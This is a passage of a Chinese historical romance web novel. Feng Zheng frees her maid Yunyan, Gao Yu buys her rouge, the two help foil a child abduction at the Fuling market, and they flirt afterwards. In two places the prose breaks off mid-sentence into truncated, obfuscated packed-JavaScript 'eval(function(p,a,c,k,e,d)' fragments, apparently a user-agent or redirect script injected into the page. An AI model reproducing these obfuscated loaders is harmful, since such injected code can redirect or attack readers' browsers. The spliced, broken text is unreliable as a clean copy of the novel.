“娘怕是忘了,当年爹在松江府的富绅府邸中做管事,结识一群狐朋狗友,还欠下了一堆赌债。你一封家书闹我回家,到头来,是冯老夫人拨给我银子,帮咱解了燃眉之急,相应的,也把我的奴契延长一年,不然当年爹的命,如何这么容易就能保住?” 云燕语气不平,女妇则不以为然。 “他们说给了就给了?我一个铜板也没瞧见,那就都不作数。” 女妇无理取闹,云燕还要争辩,短暂停下来,陷入一种莫大的平静,“娘就直接说吧,是不是安哥儿又交不起学费了。” 她自说自话,脸上看破一切的冷漠,瞬间伤到女妇自尊。 女妇顿了顿,挥起巴掌就往自个儿脸上扇,边扇边哭,“是啊是啊,都怪我,怪我没能看好你爹,怪我一个妇道人只知道守家,管不到你远在外面赌钱的爹。这么些年,娘对你和安哥儿都不曾偏心,向你要银子也只是为了贴补生活,你怎么能这么想娘?” “实在是你未婚夫婿家婆母病重,他家担心遇丧拖延婚期,等不起你,年底就打算成亲,相的是比咱还要差的人家。孙家家宅体面,咱家算捡了便宜,没成想让别人捡了更大的便宜。娘这趟进城,就是去托驿使送信,劝你回来成亲的,远远瞅见你,这才拉住你。” “你不思念娘也就罢了,却以为娘是找你讨银子来的,赵兰香你好狠的心。” 云燕赶忙拉下女妇的手,心底又酸又苦,“娘,不要这样轻贱自己……” -- 客栈二楼的某间客房里,因为疲惫,冯筝睡得很早。 之前祖父遇险,她求到高豫跟前请他出面,而曾经冒雨受的苦寒,逞强过后,也一丝一缕还了回来。 前阵子刚刚停过的药膳,又得重新捡起来服用,冯筝无奈至极,想到浓黑的汤药,顿时浑身懒怠。 清早醒过一回,齿间干渴难耐,她够不到茶盏,索性躺回去就寝,偏她喉咙清苦,辗转反侧还是去够桌上那只薄胎的瓷杯。 只是她这样偏不起身,势必导致拨近的瓷杯往前侧翻。 侧翻的杯盏被人握稳,茶水迸溅沾湿她衣袖,云燕顾不得自己湿漉漉的手,用紫砂壶给她斟了盏热茶。 云燕一夜未归,脸有点肿,萎靡情绪遮掩不住,冯筝坐起来,白绫袜松松踩进绣鞋,接过热茶,却只是捧着暖手。 窗棂隔着屏风,哪怕她迎窗坐卧,也不至于受凉。 云燕知道,自己彻夜未归的事迟早瞒不住,也没敢瞒她,把祖籍扶陵,回过一趟家,又找孙郎说了说话的事告诉了姑娘。 赵孙两家自幼定亲,她和孙郎算是青梅竹马,感情和美稳定,是十里八乡的一桩佳话。哪知孙母病痛缠身,孙家担心以后守孝,拖延婚期,赵家的女儿短暂又不回来,这就着急择媳,先把喜事办了。 冯筝起先没听明白,意识到这些都来自赵大娘的口吻,乍一听,心中生出卖女求荣等猜疑,云燕忙辩解。 “娘说的话是真的,孙家也是好人家,我见了孙郎一面,他向我道歉,说这是他生母弥留之际的期望,没办法忤逆。” 冯筝面窗坐卧,让云燕推开屏风,对着富有市井气的景象思考很久,终于扭过头,对交手站在一旁的婢女说。 “老夫人半生救苦救难,她延长你的奴契,本意是把给你爹偿债的救济钱算到你身上,抵偿预支给你的工钱,不曾想反倒困住了你。” “话说宁拆十座庙,不毁一桩婚,离年底就差三个月,眼看六年期也要满了。孙家若真是你信得过的,我续上这桩佳话,提前放你归家倒也未尝不可。” 云燕惊讶抬眸,她苦恼了一夜,向孙郎讲难处,问转机,能做的都做了,唯独没想过要向姑娘讨一个出路。 这趟她能出门,就是因伺候姑娘才有的机缘,本不敢肖想更多,谁料姑娘转头就翻出笔墨给她放契。 按照循例,给非奴籍者放契的文书,须有主家签字捺印,以及外姓的第三人见证方能成立。 “等我这边写了文书,你拿着它,找客栈的掌柜或者三郎君做个见证,再送去官府留个底,这事就办成了。” “左右孙家还没娶亲,你现在回去还来得及,你轻轻松松回去成亲,就不怕好郎婿被截胡了。” 云燕倍感动容,手指绞动,“可这……这不合规矩。” 冯筝提笔写字,头也没抬,听到吸气声,对上她擦得酡红的眼,笑意愈浓,“祖父说过,规矩是要守的,但规矩不是金科玉律,能变通时未必不能变通。” 云燕欲言又止,没讲她若走了,没人侍奉她之类的话。 冯家家底不薄,冯筝的母亲孟夫人也曾出身富庶,当年嫁妆单子,惹得附近好不眼红。扶陵牙行多,姑娘不缺银子,买个奴婢不是难事。 就怕不能知冷知热。 她挣扎煎熬,私心和诚信打架,但最后,还是做出了取舍,把剩余未履行的短契换算成现钱,当掉了自己的一对耳铛,两副玉镯,折兑成银两赔给了姑娘。 做完这一切,推开门,对上两护卫神色莫测的脸,云燕头垂得更低了,捂着一身换过的布裙逃也似地离开。 他们下意识顺着窗子望进去,见到了预想中有些落寞的女子。 她年纪很轻,肌肤赛雪,唇若点樱,这一路走来,爱穿素静的颜色,总是一副乐呵呵的,能看开一切的样子,此刻却面窗坐着,聊以排遣各种心事。 后来,难得他们请来高三郎君,还关上房门,给里面的人留够了空间。 高豫端坐在对面那把太师椅上,隔着那盏早晨被云燕斟好的热茶看向冯筝。 这茶她一口没动,已经没有一丝热气,高豫出声。 “你既然不想让她走,何苦做这个人情放她自由。” 冯筝抱着膝盖想事情,听他说话,踩着罗袜蹬进绣鞋里坐好,冯筝心情复杂,望向高豫的视线不自觉有了深意。 “她和那孙郎,感情和美稳定,我若强留她,捏着她的奴契只认死理,她未必能体谅我的难处,我若跟她讲,这样轻言放弃又朝秦暮楚的男人不值得托付,她未必会领我的情。” 高豫没注视她太久,凭他外男身份,并不适合出现在卧房这样暧昧不明的地方,哪怕这里只是一间客栈,他们也并不适宜这样独处。 但他还是堂堂正正坐在了这里,跟她谈论,放走她此程唯一的贴身女婢这事有多草率。 听到他不认同的话,冯筝禁不住感慨,云燕后来找掌柜做见证,而不找高豫这一明智之选。
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门是敞着的,冯筝就利利索索走了进去,“云燕一走,就剩下我们四个人相互照应,对大家来说确实会有影响,只剩下我一个女眷,有些地方也确实不方便。” “早知如此,我是该提前跟同伴商量下,察纳雅言后再做决定,莽撞的地方,三郎君多多担待……” 话至一半,她的眼神倏地迸亮。 高豫正在收捡行装,掉落一件葛衣,她一眼就认出,那是他曾经樵采山林时划破,被她密密缝补后,又被她不小心曲解,还原成“他最爱的破烂模样”的那件衣物。 那旧衣裳的腋口漏着棉絮,以她对高豫的观察,衣物一类不算短缺。 如此破旧的衣裳都还留着,难道说,他要效仿越王卧薪尝胆,用曾经受过的苦楚警醒自己翻案,是也不是! 原本端庄走着路,她烟熏火燎般跑过来,指着破衣裳振振有词。 这样近,连瞳纹浮动也看得极清,高豫注视着这双眼睛,听凭她情绪张扬,愣是没后退半步,与之前百般避讳的模样判若两人。 “寒衣耐穿,如今旧物俭用,倒是省却我一桩铺张浪费之事。” 高豫袍襟规整,面前,她像一只干渴难耐的枯兽,因为猎水不成,才振作片刻便很快蔫了气。 这些天,她勤恳研读刑律,学着磨刀霍霍向堂官,就是心存侥幸,想着未来高家若能翻案,她也能助他一臂之力。 然而这样的回答令她失望。 意识到是自己多想,冯筝变得神色蔫蔫,而她匆忙下榻前,模样本就不甚雅观:因为辗转难眠,衣裙像被揉过而又展平的纸,皱巴巴的惨不忍睹,两绺碎发扫落耳边,衬得脸庞恹恹颓唐。 他实在欣赏不了她这样的情态,抬手将她额发别开,而后收指握掌,恢复以往的严襟自重。 冯筝原先就发现,他的衣裳穿得很严实。 连颈间露出的里襟都异常周整,反观自身衣裙,对比惨烈到让人窒息。 冯筝捂住心口,直言想要收拾脸容,她也没回房,而是借屏风的遮掩整理衣裳。 高豫避到里间,借故给她重斟热茶,却不曾想,她所谓收拾脸容,不过是将手帕沾水醒了个脸。 好在妆发虽然无甚改观,裙衫倒是熨帖了些,只那白绫袜松松踩进绣鞋里,因为落座的动作过快,尚且露在裙摆以外。 似有所感地,她的双脚缩退裙底,高豫敛眸骤抬,让她慢用热茶,自己则走到过道边吹风。 二楼走廊上,他俯瞰客栈大堂,无视了守在房门边交换眼神的护卫,一言不发。 客栈里,都是些街坊的孩童和来往的住客,没什么好看的。 那件葛衣也没什么好看的。 腋窝和袖口会漏棉絮,从未找人缝起来过,除了干净整洁,丢在路边怕是连乞丐也不屑一顾。 可那是陪伴他撤出襄阳赶回睦州,一路风餐露宿,替他抵挡春寒的旧衣,也是经人密密缝补,而后亲手抠出窟窿留下的纪念。 说来说去还是得承认,未曾丢弃它,旧物俭用是一方面,经人好心缝制是另一方面。 豁然间,高豫低头一笑。 是啊,他果然落魄了,对一件粗衣都这样念旧。 27. 第27章 扶陵郡市集东接邸店酒楼,西访署府公衙,每逢午市,街面的商品盈架悬陈,盈箱叠贮。 孙记杂货铺前,冯筝将雕花的胭脂盒推回柜面,继她出宣城时找高豫说事被打搅后,又一次对护卫的管束一吐不快。 “快到晌午,我也饿了,刚刚我接他一个酥饼,你们说不妥,我便没吃,如今我相中一盒胭脂,三郎君想破费赠我,在你们眼里又是不妥。” “所以二位仁兄,请问我们言行举止究竟哪里不得体,让你们样样瞧在眼里都不清白?” 这趟去符家探望,她一直留意着备礼,由于对扶陵不熟,打算先窝在客栈,找店小二取取经,理一理备礼的清单。 奈何护卫们如影随形,往两侧一杵,胸膛硬得跟两堵墙似的,让她觉得像被软禁,做起事来好不应心。 熬到出门的这天,她跟高豫一并出行,没想到闲逛时两护卫也不消停,提防他们各种亲近。 家里雇他们护送,她坐享清福不成,反而受一顿冤枉气,所以前些天还隐忍克制的冯筝,这会儿藏也不藏了。 一边描述她和高豫磊落清白,一边指责他们守得过于苛刻,登徒子见了也得绕她三尺远。 听到她倔强地质问哪里不得体、哪里不清白,两护卫意动神摇,俯首抱拳声称不敢。 掌柜眼瞅着刚推销出去的胭脂被退回,她语调又三分赌气,觉得这生意还有戏,继续自吹自擂。说这盒石榴珠胭脂,由石榴砂和蜜蜡熬制而成,香味醇厚,是店里胭脂水粉里最好的一款,稍稍拉回了她的注意。 一旁,两护卫抱拳松开,隔在他们中间,没有退让半步,却恰好给了高豫付账的时机。 高豫侧过脸,出言调和之际,已经把银锭递给了掌柜。 “元家兄弟,胭脂是冯姑娘亲自挑的,其中并无我的主意。高某探囊出钱,一如例行公事,换个角度理解,便不算我手赠,你们看这样如何?” 这趟远途,两护卫履行护驾职责,也是雇主安插在女儿身边的眼线,他们的存在,就是提醒两人注意避嫌。 不过话说回来,云燕相关的事是个例外。 好在护卫并非油盐不进。 高豫获冯公亲赠腰封,列席主家座上宾,受他一声敬称,元逢、元值两人本就有些不太自在,见他递出台阶,也不好再苛刻什么。 他们相继让步,让出冯筝一张腮帮鼓起,垂眸深思的脸来。 令两边人都接纳的说法,冯筝却觉得这个主意并不高明。毕竟光“例行公事”一词就容易让人误解,不知情的,还以为她将高豫当小厮使唤,大小银钱都保管在他身上,让他出钱理所应当。 微微侧额,高豫在等结账,浑然不觉她探究又满含费解的视线,仿佛根本不在乎,花钱的事情一旦起了头,后面再给她破费,可能会越来越难收手。 冯筝一眼都没法再注视他,他慷慨且宽厚,显得她之前种种更像在胡闹。 她不是不讲情面的人,若非忍不住,不会当街跟自己人对峙。 然而丑话说也说了,跟他们闹别扭也闹了,相比高豫,被这样提防也不生气,还美滋滋买下胭脂,说石榴红很衬她气色。 什么气色,生气红温的气色吗? 他胸襟宽阔,她肚量狭窄,好鲜明的对比呢。 冯筝心中浑不是滋味,但清楚高豫并无恶意,自己没必要思虑过度,也懂得氛围刚刚调和好,没道理又挑起争端。 她到底还是受了他的好处,把胭脂盒轻轻塞进绣囊。 遥记得蘅娘叮嘱过,在银钱一事上,莫要向他施善,冯筝捋好情绪,压下回馈他的念头,示意护卫们提东西。 杂货铺附近,她买的多是些茶叶香料。眼看他们一手虚摁刀柄护驾,还要腾出手来,替她拿好置办的宝货,冯筝没再嘴坏,在这静候钱货两清。 集市前,人群一阵推搡,吵嚷声凭空响起。 “我这取材紫竹的宣城兔毫,毛纯耐用,尖圆齐健,这样的宣州特产,还值不了你二十两白银?” 孙记杂货铺里,掌柜只瞟去一眼,便见怪不怪地回去整理货样,而听闻有宣城兔毫在卖,冯筝高低要去瞧瞧虚实,走到近前,就看见一商一客对峙的局面。 摊商前,两人还在掰扯,买主是个青年,持外乡口音,听贩夫一番振词更加不服。 “本来以为散铺价钱相对公道,没想到此地商贩竟一般黑。你这老山檀线香,是不是天竺来的还另说,就连一支墨笔,居然都要二十两。买你一盒线香一支墨笔,就要捞我七十两白银,你眼里到底还有没有王法?” “我在此地勤恳营生,又是犯了哪条王法。我的要价没有问题,你若觉得有失公允,大可找人验验货,怎能一副空口白牙,就诋毁我们商贩黑心?” 这一带的商贩被中伤,齐刷刷瞟过来,眼神极不友善。青年被逼怒,说要登平准署告他哄抬物价,那贩夫也丝毫不惧,说这就去平准署,请市令官评理。 远处响起官钲,越过幢幢轩墙梁枋,传彻东西贯通的市集街道,起先鼓点细密擂动,而后金钲奏响,一记又一记催得人心跳骤急。 百姓循声眺望,渐渐地也不逗留了。反观刚刚还争辩着的商客却脸色微变,哪里还有之前咄咄逼人的架势,都互相无视,忙各自的事去了。 平准署上设有高台,每逢晡时击钲三十下,以此提醒午市闭集,这规矩,冯筝早就有所耳闻,只是第一回见到实的。 按说闭市而已,署府没那么早散衙,说好要登平准署评理,没道理令两位商客就此作罢。 她便疑惑出声,这平准署究竟什么来头,让他们这般闻钲色变,一边仰仗它主持公道,一边又对它避之不及。 “平准署平抑物价,灾时靠均输提供物资,政令直接仰承尚书省户部,不受地方政级干预。署府的吏员又称市令官,多由京中下放的驻点辖官担任,辖理市集之事。若有纠纷双方前来状告,按照备案原则,需记录在册并向上报备。” “这就导致,相比其他署部遇事时逐级上报,在平准署这里,就是直接呈报京部。” “若是胜诉还好,结果若败,一张走过京部的状纸,放在过错方身上,便是妥妥的案底,这对志在科考的人并不友好。” 想想也知道,回应出自谁。 高豫站定她身旁,冯筝得到解释,很快领悟到商客自诩有理,欲求市令评理,结果被钲声一震,都不愿冒险的症结所在。 年轻人大多志在科考,案底的限制牵涉甚广,即便他们没有入仕的觉悟,也没人会想为了一件小事,闹到京部给后辈添堵。 冯筝悄声感慨,“动个嘴就能上达天听,这样乘制度的东风占到便宜,这样体察民情的好事,没想到在他们眼中会这样麻烦。” 高豫闻言望她,没有应答。 他们站在一起,肩距相隔尺余宽,她扭头还想问些什么,一段黑影擦出,不巧挡住了视野。 面对横亘在中间的护从元逢,冯筝黛眉一蹙,发现他警惕着远处,单手摁牢刀柄,循他视线去看,立时就撞见一伙人挟着孩童飞窜,看起来绝非善类。 呼吸刹那绷紧,几乎是凭直觉喊动。 “三郎君!” 高豫目色微凛,便是此刻提了护卫的剑追了过去。 因为护主而拖延了手脚,暂时没动作的元逢两人,听到冯筝表态救人,正权衡着要不要出手。眼见姑娘转身要冲,元逢刚欲阻拦,反被冯筝抬手一推。 “快去找官差!” 市集中的追逐掀起动乱,随着高豫抵膝将一人压倒,两方始起正面冲突。 高豫躲过一记痛击,抽鞘将匪徒同伙击跪,与此同时,兵锐震响声越来越近,匪徒起意挟制小童,那端,直奔衙门的护卫已经将官差带到。 匪贼共两人,一人在高豫压制下颈骨负伤,另一人侥幸逃脱。官差把嫌犯带回衙门处置,临走前,向出手相助的青年拢拳施礼,眼神起落间,发现他身边,不知何时出现了一名女子。 他甚至还未察觉动静,她就已经贴到近前,静静观察青年的伤势。 如此悄无声息,瞒过他自恃锐利的眼,官差微微凝神,没看两眼便被护卫挡住了视线。 官差放弃探究,告知他们此案有拐带案的嫌疑,请青年过去充当旁证。 高豫不想节外生枝,却知如此要求合法合度。 冯筝掰着他的手掌研究擦伤,高豫俯眼看来,神似征询,她停顿一下,然后望向前方官卒,颔首同意。 “那便配合差爷,跟他们走一趟官廨。” 扶陵郡衙辟府城隍府街以西,沿途各部科署嵌置,一行人跟随官差至此,迎面走来一名吏员。 来人自称郡守身边的佐吏,已经知道案由。佐吏从官差手中牵过孩童,发现孩童过于年幼,交流上有障碍,便命人先带去临摹画像,以便后续找寻家属,转而向高豫等人行礼。 “城中案件皆由郡守料理,郡守接到禀报,已经在前面处理此案,几位从这里进。” 没等佐吏引见,郡守赵伯骕便已出现。中年人身穿乌青底皂袍,双铊革带束一把宽腰,手提袍角迈下台阶,感谢他们仗义出手。 接下来的事,只管照章程来办。高豫被差役领进刑房,指认完嫌犯,接着就写自述笔录。 期间,差役偶尔探他进度。 青年伏笔坐案,一手矜绝的字填满纸面。罕见有人踏足刑房,还能如此措置裕如,领路的差役免不得多看他一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽说特产出了本地市场,有溢价乃常态,但动辄翻番到二十两白银,这样会不会过于张扬了些呢?” “如姑娘所言,兔毫市价确有抛高,一般家庭无力问津,然此物并非个例。在扶陵,从玉器珍玩到文房墨宝,商品的定价都不受官府管制。” “这是为何?” 郡守三缄其口,答疑似有难处,隐约在忌讳越职言事,冯筝刚要放弃,就听到郡守旁边的佐吏笑道,郡城的平准署刚好由赵大人兼理,她这是问对人了。 冯筝眼神迟疑,只因这跟高豫片刻前的说法有些出入:扶陵郡的市令官,竟不是京中下放的驻点辖官? “按典制追溯,确实有京官派驻平准署这一说法,只是扶陵地小,受幅员所限,达不到京中委派的标准,按品级轮下来,承接市令的职责,到最后还是落到了本官身上。” 说到这里,赵伯骕略显疲态,但依然不吝啬跟她解释。 “平准署平抑物价,除了米粮油柴、茶蜡布织以及盐铁酒等官营之物外,特定工艺品,例如钗环妆粉,鞍鞯箭囊等,因超出署府列管的商品行列,没有市令明示,地方上也无权控制。” “不过这并非说,官府完全置之不理。” “对于古玩字画等容易真伪错陈的货物,有关司署会予以监管,防范市集欺诈,再多的,我们便不能做了。” 赵伯骕解释一通,半字未提税政的缘故,只把难题推给上边市令。 冯筝敛着眸有些迷茫,还没说什么,一副迷惘困扰的模样,让赵郡守直感动容钦佩。 连这样年纪轻轻的姑娘,都如此关心百姓生计,思百姓之所思,愁民生之所愁,他堂堂郡守却束手无策,甚至对这些难题袖手旁观。 赵伯骕心情惭愧,自愧弗如之际,一道遗憾的声音颠覆他心声。 “胭脂买贵了。” 冯筝扭头,睁着她迷茫的眼看向元逢,咬牙笃定。 “胭脂一定买贵了。” 胭脂水粉在特定工艺品行列,不受官府管控的话,价钱多不公道可想而知。 元逢俯眉看着她萧瑟的脸,心底很不是滋味。手中提着的东西沉甸甸的,她所买的香料茶叶,件件不比胭脂便宜,她却只字不提这些,只怪胭脂一定买贵了。 胭脂是高郎君出的钱,心疼谁的钱实在明显。 另一侧元值抱臂默立,手指不痛快点着胳膊,望着她圆润的后脑,强忍着没说多余的话又讨她的嫌。 唯心中多嗔。 高豫钱都花出去了,谅她再想也是多余。 28. 第28章 冯筝心疼归心疼,倒和元值想到了一处,既然钱都花出去了,就没有必要思虑太多。 梳着矮鬓的后脑微动,元值乱动弹的手指突然停住,姑娘眼神探究,仿佛能洞察心声。心虚涨到顶峰,他扯了扯嘴唇,一双抱臂的手恭谨垂落。 她没说什么,视若无睹移走了视线,元值轻舒一口气,觉得被这样抓包竟有点羞耻。 忽略掉微热的耳根整顿神情,重新肃起脸,眼观四方,刚刚捂好的遮羞布,被哥哥警告的眼神一下子捅穿。 他们非奴籍出身,从未做过伺候或者侍奉的活,只因精通武艺,出来讨镖师的营生无果,所以才接了冯家的聘金,护送千金百里探亲。 途中能谨守职责,禁欲禁言就不错了,至于收敛所有情绪或者小动作,确实有点难为人。 然而侍从和奴婢无二,聘金已收,规矩不能废,元逢警告弟兄守礼,不多时,前面高豫走完了章程。 冯筝远远看到他,顾不得赵郡守那微微窘态,也顾不上前来相送的佐吏,提裙赶过去跟他会合。 出了官廨,时辰已经不早,席地叫卖的摊商,早在钲声催促下收了铺盖,腾出大片清静空地。 晚来天色微暗,下起一阵小雨,蒙蒙雨线不妨碍行路,高豫还是给她买来一只伞。 冯筝无声瞄了眼高豫,思绪停在照面之间,而后接过伞,却朝着护卫所在,款步走去,递过两人头顶。 雨水溅在伞面,头顶恍若跳珠落纸,两护卫俱是一怔,呼吸隐隐放轻放慢。 伞面再大,罩不住两位青壮之年,冯筝微微皱眉,元值朝哥哥挪去一步,识相地与他靠拢在一起,半边委屈在外的身子缩进来,勉强能被油纸伞容纳。 伞下两人,一同望向大发善心的姑娘,拿不准她起的什么主意。 冯筝无疑是好看的。 她瞳珠清圆,在雨线织成的珠帘前清润无比,占据两人所有感官,却听冯筝笑劝,一句不容拒绝的话,荡尽所有旖旎柔软。 “耗用两位苦力,害我于心不忍,便辛苦你们带着东西回客栈去,你们先行休息,我和三郎君还有话要私谈。” 两护从起先表现得迟疑,还是元逢想起,此前她拿自身名节瞎扯的话,预感她又要质问他们哪里不得体,哪里不清白,这就接过伞柄躬首后退。 他们乖驯服顺,冯筝深感欣慰,将人支走前,不忘要回那一张酥饼。 三两下咬完酥饼回头,正撞见高豫站在绵针细雨中,等着她不惜出借他的伞支走旁人,也要私谈的话是什么详情。 “之前孙记杂货铺的胭脂,你是花了多少钱买的?” 这雨没持续多久,停得很是时候。隔壁商铺的师傅收好出借他们后,又被归还的伞,笑看这对璧人走远,只当姑娘是个掌家财的,对夫郎的开销突袭查账。 对于她的“拷问”,高豫但笑不语,冯筝哪能放过,口中提醒他防范她对账,眼波一动就抢他荷包。 高豫韧腰微拧,躲过她偷袭,却转手解下腰侧荷包,放入还未站定的冯筝掌心。 “将将二十两白银。冯姑娘不知原有的数额,单凭余钱,如何拿我对账?” 感受到手中切实的分量,某种不可名状的托付感往心底一沉,忽然间,冯筝不再开得起玩笑。 她将荷包物归原主,也将一时玩闹的对账话收回,得知一枚胭脂开销二十两,冯筝替他心疼起银钱,“没想到我一语成谶,说让三郎君破费,还真就成了破费,你这冤大头,掌柜宰你,你都不带眨眼的。” “你等我,我这就回去把他骂哭。” 她人还没动,嘴里已经骂了掌柜好多遍,之前关于钱都花出去了,没必要再计较的想法,在清拔落拓,然萧索沉静的高豫跟前,全都被她忘个精光。 手腕被人一把握住,充盈在眼里的冲动劲,随着扭头波及到高豫身上。 她用力抽出手腕,刚刚腾出空,又被他进一步重新握牢,感受到手指缓慢贴合,挤掉中间最后一丝缝隙,冯筝突然就不较劲了。 怒气是真的,打抱不平也是真的,那股说不出来的怜悯疼惜,被高豫按在发顶的手轻柔抚平。 他手掌贴发,却顺手遮掩这一动作,把她的发带捋到后颈。 不期然令冯筝想起,重逢那夜,她酒后强闯客院,他从墙上那幅《九成宫醴泉铭》墨裱上回首望来的眼神。 居高思坠,持满戒盈。载有冯公书丹的八字名诤被他背影遮掩,青年人眼神毅定,她于恍惚中刹那看懂,那是他对高家历程痛定思痛后,某种近乎残酷的醒绝。 而此刻,他就是睁着这一双醒绝的眼,说一些模糊得让人听不懂的话。 “我非富贵多金,也不算什么寒微贫贱,或许在仕人看来,我身负庶籍的后半生,注定仰靠市井恩露过活,钱财花销能省则省。” “然而这些只能算最坏的处境。” “我替自己想好了打算。过去那点微薄的禄钱,不能给困心困欲的我买到舒心,争到快意,如今朝廷结清了我积年的饷银,难得有余裕,倒不如顺心顺意一回,搏到芙蓉展颜,芙蕖献宠,有幸配过她的花期。” “也不至于未来蹉跎鬓白生,到头来,弥留榻上,回顾年岁,只能讲一句煎熬人寿。” 他始终捏着她发带末端,至此,他毫不拖沓地放了手。 冯筝不明白,他为何好端端的要给未来批命,也不明白,人都应该把钱花在心肝上,一块俗不可耐的胭脂,送给她这样的庸脂俗粉,她愉悦了片刻,就真的只是愉悦片刻。 她转头就忘,芙蓉和荷花未必真的对他盛放了,哪里值得他这样快慰? 懵懂迷茫间,心脏噗通坠落,又飘飘然有些找不到北,然而这怎么能行,她是要去找掌柜的麻烦的。 本朝官银私银统一标准,一枚银锭值三十两白银。白花花的银锭就这么给了出去,掌柜赚了他二十两银子,找回的铜钱或碎银,还不够填他半个荷包。 他现在或许觉得顺心顺意,哪天捉襟见肘,难保不会懊悔吃了闷亏。 哪怕往官廨走一趟后,知晓了扶陵物价失管的弊病,她也隐隐觉得,那胭脂标价的字牌上,未必真是这个数额。 当初相中胭脂时未曾注意,现在杀个回马枪,或许还能捉到把柄,于是,飘忽到险些找不到北的冯筝,方向明确地往杂货铺赶。 他总是擅长调和一切,这次却反常没有阻拦她。 他宽纵地跟随她,仿佛不介意她这一去,实打实的就是胡闹。 冯筝在前面穿行,偶然瞥到高豫袍角,忙不迭想起从前在闹市里,看到的那种有糟糠撑腰而自满的柔弱夫郎。 思绪一滞,她停了停,回头打量一眼。 他速度不慢,步调紧凑,却走出一股雍容闲雅的错觉,撞见跟前人停顿,还抽空朝她笑了一下。 她暗暗摇头,甩掉脑中那道莫须有的联想。 -- 孙记杂货铺处于繁华地段,一场小雨把附近客流清退,本是悠哉游哉守店的好闲暇,然而此刻满地狼藉。 一群劲服的官差将店铺围抄,掌柜孙崇福抱着一摞经不起磕碰的瓶瓶罐罐,双腿颤颤试图说情。 这些不起眼的杂货,足够顶他半幅身家。他宽胖的身躯罩不住财宝,捕吏在铺子里一顿捅戳,把货样捣得乱糟糟的,孙崇福眼前一阵昏黑,恳请他们高抬贵手。 不久前,拐带案中嫌犯的同伙逃脱,捕吏根据民众线报,一路搜寻到这里,把附近商铺搜罗了个遍。拐带孩童兹事体大,案情性质恶劣,他们身负要务,下手没轻重,引起商户怨声载道。 孙掌柜还在为自身生计据理力争,惊叫一声,柜面的瓶罐也不管了,一把抱住捕吏戳进木箱的银枪,连喊使不得。 “这些都是名贵香粉,用瓷罐装着,为防受潮才封存在箱子里,如此乱捅,香粉岂能完焉?敝店小本生意,也没法藏人,经不起差爷们这样糟蹋啊。” 附近同行深感理解,暗戳戳说理,“一路商铺,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完,又对她方才的善举不胜感恩,说什么也要把之前收取的银锭赠还给她。 高豫站在杂货铺对面的的商幌下,目睹她的舌灿莲花,也亲见她摒除私怨,解困纾难。 此前她让他好生等候,他就停在这里,一步也未曾走动。 她满意知足地走近,把一锭银掖进他荷包,高豫俯看她锁口荷包,蓦地提问。 “所以这枚胭脂,还算由我亲赠的吗?” 他既没出钱,也没出力,这胭脂便更像是杂货铺的赠物。 冯筝想通这些,一声“当然算”被她好险憋住。听出话中的遗憾惋惜,冯筝眼底暗含得意,想不到世易时移,还有轮到她哄刍荛的一天。 这就生出点狡黠意趣,勾住他荷包袢带的手,留恋般划了一下,绕他走动的脚步停在背后。 “纵然在两护卫面前,三郎君自称探囊出钱,一如例行公事,说胭脂不算你手赠,但我懂,这些话都是应付他们的。” “你应付旁人的话不能当真,焉知我那段磊落清白的话就不是敷衍?” 两护卫面前,她曾描述他们之间的磊落清白,而今被她亲自否定,高豫细微偏头,惶惑且意外地挑来一眼。 他一手握拳抵在后腰,一手自然垂放身侧,饶是如此,仍然泰然自若的模样,让冯筝忍不住牙痒痒,恨不能惹得他神思不稳,意动神摇。 “三郎君对我慈爱无边,我对郎君,亦是爱戴亲昵,如今芙蓉展了颜,距离和我的花期作配,就差芙蕖献宠——” 两手攀住他肩膀,踮起脚尖,献出亲昵,“你我私相授受,胭脂就是铁证,所以高豫,我们哪里还算磊落清白?” 姑娘齿白如玉,悄声私谈,懵懂迟钝感一扫而光。 她聪慧清醒的笑眼,近乎算得上莽撞精明,高豫睫翳浓重,神色却很淡,始终没转身,反应平平地跟她对视。 他一个字也没听懂,又分明哪个字都弄懂了深意,那只不久前抚过她发丝发带的手,捉过她手腕的手,在后腰处缓慢松拳张开。 而后摁住这箍着他脖颈的姑娘,无甚感情地讲。 “冯筝,好好说话。” 29. 第29章 回顾生平,高豫能把任何事情都处理得尽善尽美,除非晾着它,比理会它更有利于结果。 慈爱无边,爱戴亲昵……勉强算得上清白的亲属感,甫一搭配私相授受,暧昧冲突极致高涨。 高豫没理会这些,一则他不会在情事上栽跟头,懂得克制感情流露,二则很遗憾他耳聪目明,能看透所有虚情假意。 就像现在,即便她话里话外柔情蜜意,端的一副献宠模样,也掩盖不了玩闹的事实。 高豫不会中招,不会毫无防备地踩她陷阱,他丢下一句“好好说话”,就没打算把这件事情收束妥善。 稍后,冯筝果然不闹腾了,然而仅仅只是不闹腾而已,气氛并不比之前愉快。 冯筝入戏有点深,见他回避她的示好,表情幽怨得能滴出水来,差点忘了,自己之所以胡搅蛮缠,本就出于假意逗弄。 客栈提供膳食,再拖延下去就要错过晚饭,边走,高豫边跟她讲道理,她不理,高豫扯了扯大袖,她抱的更牢。 街面陆续亮起灯笼,商幌飘扬,酒旗招摇,当垆的娘子给食客端出酒酿米珠,醉醺醺的风飘出酒肆,冯筝被酒香呛到,抱着他胳膊蹒跚了两步。 “难怪说胡话。你酒量不佳,闻一点酒味就不清醒,等你醒了酒,再来跟我好好谈谈。” 好一出借题发挥。 知道他们并非亲密无间,把关系闹僵了尝不到甜头,冯筝顺坡往下,让出一段距离,扭头掩饰一丝不自在。 “有些道理,敢情是闻酒闻醉了,害得我尽说瞎话,三郎君莫怪我唐突才好。” 高豫以前诸事繁忙,身边打交道的,多半是同窗同僚,跟女子相处多半凭直觉。发觉她的转变,调整好自己,豁达道无碍。 走过红袖招摇的花满楼,路过铁花四溅的锻造铺,月色如练,两人中间遥隔银河,她忽然觉得高豫时远时近。 远的时候,他变成了那逝去的命数里,服皂纱,簪儒冠的太学学士兼司衙重臣高大人。近的时候,他又成了眼前这籍籍无名,被她搅得领襟松散,跟她走在不知名街上扯闲篇,向客栈同归的三郎君高豫。 